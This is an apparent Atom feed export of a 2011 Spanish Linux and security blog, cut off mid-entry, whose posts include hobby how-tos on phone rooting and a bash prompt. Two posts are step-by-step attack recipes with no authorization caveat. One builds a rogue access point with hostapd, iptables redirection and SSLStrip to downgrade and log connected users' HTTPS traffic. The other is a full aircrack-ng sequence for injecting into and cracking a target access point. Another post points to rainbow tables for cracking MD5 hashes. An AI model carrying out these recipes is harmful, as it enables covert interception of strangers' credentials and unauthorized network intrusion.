<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-30617063</id><updated>2012-01-25T14:37:54.064+01:00</updated><category term='Programación'/><category term='Virtualización'/><category term='Administración'/><category term='Seguridad'/><category term='Varios'/><category term='Kernel'/><category term='Otros sistemas operativos'/><category term='Multimedia'/><category term='Linux'/><title type='text'>La guarida del Mal.</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default?start-index=101&amp;max-results=100'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>180</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-30617063.post-804644254770411245</id><published>2011-12-05T15:42:00.003+01:00</published><updated>2011-12-05T16:07:37.130+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>AP, SSLStrip en Debian</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-kODWfwrWTVQ/Ttzdxk1FbxI/AAAAAAAAACs/g4a_GDulUTI/s1600/wifi_future_ars.jpg"&gt;&lt;img style="float: right; margin: 0pt 0pt 10px 10px; cursor: pointer; width: 173px; height: 96px;" src="http://2.bp.blogspot.com/-kODWfwrWTVQ/Ttzdxk1FbxI/AAAAAAAAACs/g4a_GDulUTI/s320/wifi_future_ars.jpg" alt="" id="BLOGGER_PHOTO_ID_5682660673604382482" border="0" /&gt;&lt;/a&gt;Siempre he tenido ganas de montar un AP en una máquina Linux, pero vamos a ir un poco mas allá y vamos a instalar bind, dhcp3-server y sslstrip para que nuestro AP dé un poco mas de juego.&lt;br /&gt;&lt;br /&gt;Mediante Bind podremos resolver nosotros mismos las direcciones ip de nuestros clientes, con el servidor DHCP repartiremos ips y con SSLStrip podremos hacer de intermediarios en las peticiones HTTPS realizando las peticiones HTTPS al servidor final y HTTP a nuestros clientes, de este modo el tráfico solo viajará cifrado desde el AP al servidor final.&lt;br /&gt;&lt;br /&gt;Instalamos el software necesario:&lt;br /&gt;apt-get install bind9 dhcp3-server hostapd aircrack-ng&lt;br /&gt;&lt;br /&gt;Necesitamos una interfaz en modo monitor(mon0), utilizaremos el direccionamiento 192.168.2.X:&lt;br /&gt;airmon-ng start wlan0&lt;br /&gt;ifconfig mon0 192.168.2.1&lt;br /&gt;&lt;br /&gt;Configuramos hostapd con la intefaz de red y el SSID:&lt;br /&gt;vi /etc/hostapd/hostapd.conf&lt;br /&gt;interface=mon0&lt;br /&gt;driver=nl80211&lt;br /&gt;ssid=LA QUE MONTA ESTA&lt;br /&gt;hw_mode=g&lt;br /&gt;channel=1&lt;br /&gt;&lt;br /&gt;Arrancamos hostapd con la configuración anterior:&lt;br /&gt;/usr/sbin/hostapd /etc/hostapd/hostapd.conf&lt;br /&gt;&lt;br /&gt;Configuramos un servidor DHCP para que los clientes que se conecten a nuestro AP reciban una dirección ip:&lt;br /&gt;&lt;br /&gt;vi /etc/dhcp/dhcpd.conf&lt;br /&gt;subnet 192.168.2.0 netmask 255.255.255.0 {&lt;br /&gt;       range 192.168.2.2 192.168.2.4;&lt;br /&gt;       option domain-name-servers 8.8.8.8;&lt;br /&gt;       option routers 192.168.2.1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Habilitamos el enmascaramiento(NAT)&lt;br /&gt;iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;&lt;br /&gt;Y ahora obramos el milagro, las peticiones dirigidas al puerto 80 la enviamos a localhost 10000:&lt;br /&gt;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000&lt;br /&gt;&lt;br /&gt;Ahora arrancamos sslstrip, este se mantendrá a la espera de peticiones en el puerto 10000:&lt;br /&gt;cd /usr/src&lt;br /&gt;wget &lt;a href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz"&gt;http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz&lt;/a&gt;&lt;br /&gt;tar xvzf sslstrip-0.9.tar.gz&lt;br /&gt;cd sslstrip-0.9&lt;br /&gt;python sslstrip.py -w salida&lt;br /&gt;&lt;br /&gt;Dejamos tail monitorizando el fichero de salida de SSLStrip:&lt;br /&gt;tail -f /usr/src/sslstrip-0.9/salida&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-804644254770411245?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/804644254770411245/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=804644254770411245' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/804644254770411245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/804644254770411245'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/12/ap-sslstrip-en-debian.html' title='AP, SSLStrip en Debian'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-kODWfwrWTVQ/Ttzdxk1FbxI/AAAAAAAAACs/g4a_GDulUTI/s72-c/wifi_future_ars.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4964991830514571362</id><published>2011-12-04T16:37:00.009+01:00</published><updated>2011-12-05T15:28:05.843+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Rootear LG Optimus2X desde Linux.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-W-hmfbB6DC4/TtzUiDGCIBI/AAAAAAAAACg/XT3j8fkcFmA/s1600/MIUI.jpg"&gt;&lt;img style="float: right; margin: 0pt 0pt 10px 10px; cursor: pointer; width: 144px; height: 205px;" src="http://1.bp.blogspot.com/-W-hmfbB6DC4/TtzUiDGCIBI/AAAAAAAAACg/XT3j8fkcFmA/s320/MIUI.jpg" alt="" id="BLOGGER_PHOTO_ID_5682650511245975570" border="0" /&gt;&lt;/a&gt;En este articulo voy a explicar como rootear nuestro querido LG Optimus 2X, rootearlo nos permitirá instalar software que de otro modo no funcionaría correctamente, además seremos capaces de flashear nuestro teléfono con ROMs no oficiales.&lt;br /&gt;&lt;br /&gt;Activamos la opción de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;debug&lt;/span&gt; / desarrolladores (AJUSTES - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;APLICACIONES&lt;/span&gt; - DESARROLLO - &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;DEPURACION&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;USB&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;Descomprimimos el &lt;a href="http://www.divshare.com/download/16313437-06f"&gt;tar.gz&lt;/a&gt; y asignamos permisos de ejecución:&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;chmod&lt;/span&gt; +x &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;root&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;command&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;chmod&lt;/span&gt; +x files/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;shared&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;sh&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;chmod&lt;/span&gt; +x files/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;adb&lt;/span&gt;_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Comenzamos con el proceso:&lt;br /&gt;./&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;root&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;command&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora ya podremos poner cualquier ROM, yo personalmente estoy bastante contento con la MIUI, es muy rápida pero se come la bateria que da gusto...&lt;br /&gt;&lt;br /&gt;Para instalar la ROM debemos utilizar una utilidad del tipo &lt;a href="https://market.android.com/details?id=com.modaco.twoxrecoveryboot"&gt;RecoveryBoot&lt;/a&gt;, tendremos que copiar la imagen de la ROM en la tarjeta SD externa y luego desde el menú del recovery:&lt;br /&gt;- wipe data/factory reset&lt;br /&gt;- wipe cache partition&lt;br /&gt;- install zip from sdcard --&amp;gt; choose zip from sdcard&lt;br /&gt;&lt;br /&gt;Cuando termine ya tendremos la ROM instalada, para cambiarla por otra tendremos que acceder de nuevo al Recovery y repetir el proceso.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4964991830514571362?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4964991830514571362/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4964991830514571362' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4964991830514571362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4964991830514571362'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/12/rootear-lg-optimus2x-desde-linux.html' title='Rootear LG Optimus2X desde Linux.'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-W-hmfbB6DC4/TtzUiDGCIBI/AAAAAAAAACg/XT3j8fkcFmA/s72-c/MIUI.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-388343834009714214</id><published>2011-12-04T15:55:00.007+01:00</published><updated>2011-12-04T16:35:22.266+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Preparar wifi para inyección de paquetes.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-W6W1nhPdInU/TtuRPMEFoaI/AAAAAAAAACI/kUbn0hHWzi8/s1600/wifi-hacking.jpg"&gt;&lt;img style="float: right; margin: 0pt 0pt 10px 10px; cursor: pointer; width: 153px; height: 115px;" src="http://3.bp.blogspot.com/-W6W1nhPdInU/TtuRPMEFoaI/AAAAAAAAACI/kUbn0hHWzi8/s320/wifi-hacking.jpg" alt="" id="BLOGGER_PHOTO_ID_5682295044980449698" border="0" /&gt;&lt;/a&gt;Seguramente hayáis  leído algo acerca de la  seguridad en redes wireless, pero también habréis notado que la gran mayoría de estos documentos están pensados para utilizarlos en un sistema con la Backtrack corriendo.&lt;br /&gt;En esta ocasión vamos a preparar nuestro sistema para que sea capaz de inyectar tráfico sin tener que emplear tan conocida distro.&lt;br /&gt;&lt;br /&gt;Las piezas necesarias para poder realizar la inyección de paquetes son:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Compat-Wireless: Se trata de la pila wireless del kernel, separándola del kernel podremos probar parches que afectan a dicha pila sin tener que parchear el kernel.&lt;/li&gt;&lt;li&gt;Kernel: El resto de drivers.&lt;/li&gt;&lt;li&gt;AirCrack-NG&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Lo primero será instalar AirCrack-NG:&lt;br /&gt;apt-get install aircrack-ng&lt;br /&gt;&lt;br /&gt;Compilamos las fuentes del kernel, en nuestro caso vamos a hacerlo para el kernel-3.0.2:&lt;br /&gt;cd /usr/src&lt;br /&gt;wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.0.2.tar.bz2&lt;br /&gt;&lt;br /&gt;Habilitamos los drivers de nuestra tarjeta de red(en mi caso ath9k):&lt;br /&gt;Device drivers --&amp;gt; Network Device Support --&amp;gt; Wireless lan --&amp;gt; Atheros Wireless Card:&lt;br /&gt;Atheros 802.11n wireless card support&lt;br /&gt;Atheros ath9k PCI/PCIe bus support&lt;br /&gt;&lt;br /&gt;También hacen falta los drivers de Intel, solo Dios sabe porque.....:&lt;br /&gt;Device drivers --&amp;gt; Network Device Support --&amp;gt; Wireless lan --&amp;gt; Intel PRO/Wireless 2100 Network Connection&lt;br /&gt;&lt;br /&gt;En la versión 3 del kernel ya no hay que hacer nada de forma manual, nos copiará la imagen del kernel a boot y generará una entrada en el grub.&lt;br /&gt;&lt;br /&gt;Reiniciamos el equipo con el kernel nuevo y testeamos la inyección con:&lt;br /&gt;airmon-ng start wlan0&lt;br /&gt;aireplay-ng -9 mon0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Podemos ver las redes que se encuentran a nuestro alcance con:&lt;br /&gt;airodump-ng mon0&lt;br /&gt;airodump-ng --channel "CANAL" mon0&lt;br /&gt;&lt;br /&gt;Pero en la primera línea aparecerá un problemilla, si nos fijamos el canal en el que se encuentra la tarjeta es el -1:&lt;br /&gt;CH  9 ][ Elapsed: 4 s ][ 2011-11-01 19:32 ][ fixed channel mon0: -1&lt;br /&gt;&lt;br /&gt;Cuando intentemos asociarnos al AP y aparece de nuevo el problema del canal:&lt;br /&gt;aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0&lt;br /&gt;19:35:46  Waiting for beacon frame (BSSID: 09:01:CF:3F:DF:59) on channel -1&lt;br /&gt;19:35:46  mon0 is on channel -1, but the AP uses channel 9&lt;br /&gt;&lt;br /&gt;Para solventar esto tendremos que bajarnos compat-wireless y los parches pertinentes.&lt;br /&gt;cd /usr/src&lt;br /&gt;wget http://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2&lt;br /&gt;tar -jvxf compat-wireless-3.0-2.tar.bz2&lt;br /&gt;cd compat-wireless-3.0-2&lt;br /&gt;wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch&lt;br /&gt;wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch&lt;br /&gt;patch -p1 &amp;lt; mac80211.compat08082009.wl_frag+ack_v1.patch&lt;br /&gt;patch -p1 &amp;lt; channel-negative-one-maxim.patch&lt;br /&gt;&lt;br /&gt;Se puede optar por compilar todos los drivers o solo los correspondientes a nuestra tarjeta de red, si solo queremos compilar un módulo concreto(este script solo soporta algunas tarjetas, ath9k sí ;) ):&lt;br /&gt;./scripts/driver-select --&amp;gt; Listamos módulos disponibles&lt;br /&gt;./scripts/driver-select ath9k&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;reboot&lt;br /&gt;&lt;br /&gt;En el caso de que se quieran compilar todos los drivers:&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;make wlunload&lt;br /&gt;modprobe driver-name&lt;br /&gt;reboot&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si decidimos desinstalar los módulos generados:&lt;br /&gt;cd compat-wireless-...&lt;br /&gt;make uninstall&lt;br /&gt;make wlunload&lt;br /&gt;modprobe "módulo original" o reiniciar&lt;br /&gt;&lt;br /&gt;Ahora ya estamos en condiciones de proceder con la inyección de paquetes:&lt;br /&gt;airmon-ng start wlan0&lt;br /&gt;airodump-ng mon0&lt;br /&gt;airodump-ng --channel "CANAL" mon0&lt;br /&gt;aireplay-ng -1 0 -e NOMBRE_AP -a MAC_AP -h MI_MAC mon0&lt;br /&gt;aireplay-ng -3 -b MAC_AP -h MI_MAC mon0 --&amp;gt; Empezamos a inyectar tráfico&lt;br /&gt;airodump-ng --channel CANAL --bssid MAC_AP --write "nombre_fichero" mon0 --&amp;gt; Empezamos a capturar paquetes&lt;br /&gt;aircrack-ng -a 1 "nombre_fichero.cap" --&amp;gt; Crackeamos los paquetes&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Seguro que este articulo le es de ayuda a mas de uno, en mi caso tardé un tiempo en recopilar toda la información necesaria.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-388343834009714214?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/388343834009714214/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=388343834009714214' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/388343834009714214'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/388343834009714214'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/12/preparar-wifi-para-inyeccion-de.html' title='Preparar wifi para inyección de paquetes.'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-W6W1nhPdInU/TtuRPMEFoaI/AAAAAAAAACI/kUbn0hHWzi8/s72-c/wifi-hacking.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-961324235354566836</id><published>2011-10-22T00:10:00.002+02:00</published><updated>2011-10-22T00:26:35.149+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Cambio de prompt ^_^</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-7MlzDHec1xY/TqHxi2i-SiI/AAAAAAAAABs/X00Fopbrn6c/s1600/volcanolightning_rietze_big-4e983ad-intro-thumb-640xauto-26557.jpg"&gt;&lt;img style="float: right; margin: 0pt 0pt 10px 10px; cursor: pointer; width: 235px; height: 146px;" src="http://1.bp.blogspot.com/-7MlzDHec1xY/TqHxi2i-SiI/AAAAAAAAABs/X00Fopbrn6c/s320/volcanolightning_rietze_big-4e983ad-intro-thumb-640xauto-26557.jpg" alt="" id="BLOGGER_PHOTO_ID_5666075387268844066" border="0" /&gt;&lt;/a&gt;Este es un pequeño truco con el que conseguiremos un prompt muy especial, cuando ejecutemos un comando correctamente nos mostrará ^_ ^ en verde y si el comando es incorrecto nos mostrará 0_0 en rojo.&lt;br /&gt;Para conseguir esto editamos el fichero .bashrc de nuestro home y añadimos:&lt;br /&gt;PS1="\`if [ \$? = 0 ]; then echo \[\e[33m\]^_^\[\e[0m\]; else echo \[\e[31m\]O_O\[\e[0m\]; fi\` \[\033[01;32m\]\u:\[\033[01;34m\]\w \$\[\033[00m\]"&lt;br /&gt;&lt;br /&gt;Ya lo tendríamos listo, a disfrutar ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-961324235354566836?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/961324235354566836/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=961324235354566836' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/961324235354566836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/961324235354566836'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/10/cambio-de-prompt.html' title='Cambio de prompt ^_^'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-7MlzDHec1xY/TqHxi2i-SiI/AAAAAAAAABs/X00Fopbrn6c/s72-c/volcanolightning_rietze_big-4e983ad-intro-thumb-640xauto-26557.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-218341337791437175</id><published>2011-10-14T21:24:00.002+02:00</published><updated>2011-10-14T21:33:59.263+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Craking hash MD5 de forma rápida</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-xt3o8c-_5h8/TpiOkOunl1I/AAAAAAAAABg/XgOlTytRdSk/s1600/crane-japan-quake-ars-thumb-640xauto-21966.jpg"&gt;&lt;img style="float: right; margin: 0pt 0pt 10px 10px; cursor: pointer; width: 250px; height: 140px;" src="http://2.bp.blogspot.com/-xt3o8c-_5h8/TpiOkOunl1I/AAAAAAAAABg/XgOlTytRdSk/s320/crane-japan-quake-ars-thumb-640xauto-21966.jpg" alt="" id="BLOGGER_PHOTO_ID_5663433284498462546" border="0" /&gt;&lt;/a&gt;La única forma conocida de desencriptar un hash MD5 es mediante fuerza bruta, es decir se genera el hash de una palabra conocida y si el hash obtenido coincide con el que se quiere desencriptar es que el password es esta palabra.&lt;br /&gt;Esto es un proceso muy costoso pero en Internet hay dos formas de hacerlo mas facilmente si tenemos un poco de suerte, los dos métodos son los siguientes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.freerainbowtables.com/en/hashcracking/"&gt;Tablas Rainbow&lt;/a&gt;: Tablas precomputadas de palabras con su correspondiente hash.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.md5crack.com/crackmd5.php"&gt;Búsqueda en Google&lt;/a&gt; del hash&lt;/li&gt;&lt;/ul&gt;Si tenemos suerte y encontramos el hash de este modo nos ahorraremos muchoooo tiempo quemando micro.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-218341337791437175?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/218341337791437175/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=218341337791437175' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/218341337791437175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/218341337791437175'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/10/craking-hash-md5-de-forma-rapida.html' title='Craking hash MD5 de forma rápida'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-xt3o8c-_5h8/TpiOkOunl1I/AAAAAAAAABg/XgOlTytRdSk/s72-c/crane-japan-quake-ars-thumb-640xauto-21966.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-5908994321632711230</id><published>2011-10-09T14:37:00.006+02:00</published><updated>2011-10-12T13:33:00.519+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Ettercap en Android</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-QWQEIHu21xI/TpGaA8GUTmI/AAAAAAAAABY/IQEySCdWJ9A/s1600/molecules_ars-thumb-640xauto-21958.jpg"&gt;&lt;img style="float: right; margin: 0pt 0pt 10px 10px; cursor: pointer; width: 218px; height: 121px;" src="http://3.bp.blogspot.com/-QWQEIHu21xI/TpGaA8GUTmI/AAAAAAAAABY/IQEySCdWJ9A/s320/molecules_ars-thumb-640xauto-21958.jpg" alt="" id="BLOGGER_PHOTO_ID_5661475547504725602" border="0" /&gt;&lt;/a&gt;Siguiendo con las frikerias en Android vamos a instalar ettercap en nuestra Debian "&lt;a href="http://laguaridadelmal.blogspot.com/2011/10/debian-mediante-chroot-en-android.html"&gt;chrooteada&lt;/a&gt;" dentro de nuestro Android.&lt;br /&gt;Instalamos ettercap con soporte gráfico:&lt;br /&gt;apt-get install ettercap-gtk&lt;br /&gt;&lt;br /&gt;Habilitamos iptables para el reenvío de tráfico:&lt;br /&gt;vi /etc/etter.conf&lt;br /&gt;&lt;span style="font-size:85%;"&gt;# if you use iptables:&lt;br /&gt;redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"&lt;br /&gt;redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Habilitamos el enrutado en el chroot:&lt;br /&gt;echo 1 &amp;gt; &lt;code&gt;/proc/sys/net/ipv4/ip_forward&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;Para que ettercap funcione bien en el chroot tendremos que ejecutarlo con UID=0&lt;br /&gt;vi /etc/etter.conf&lt;br /&gt;[privs]&lt;br /&gt;#ec_uid = 65534                # nobody is the default&lt;br /&gt;ec_uid = 0                # nobody is the default&lt;br /&gt;ec_gid = 65534                # nobody is the default&lt;br /&gt;&lt;br /&gt;Guardamos y listo!! Ya podemos utilizar ettercap como si de un Linux normal se tratase ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-5908994321632711230?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/5908994321632711230/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=5908994321632711230' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5908994321632711230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5908994321632711230'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2011/10/ettercap-en-android.html' title='Ettercap en Android'/><author><name>Kr0m</name><uri>http://www.blogger.com/profile/16822021657287042709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/-xtIsCgXJozw/TeFuI_vxdTI/AAAAAAAAAAM/Gn-S2cXGIV8/s220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 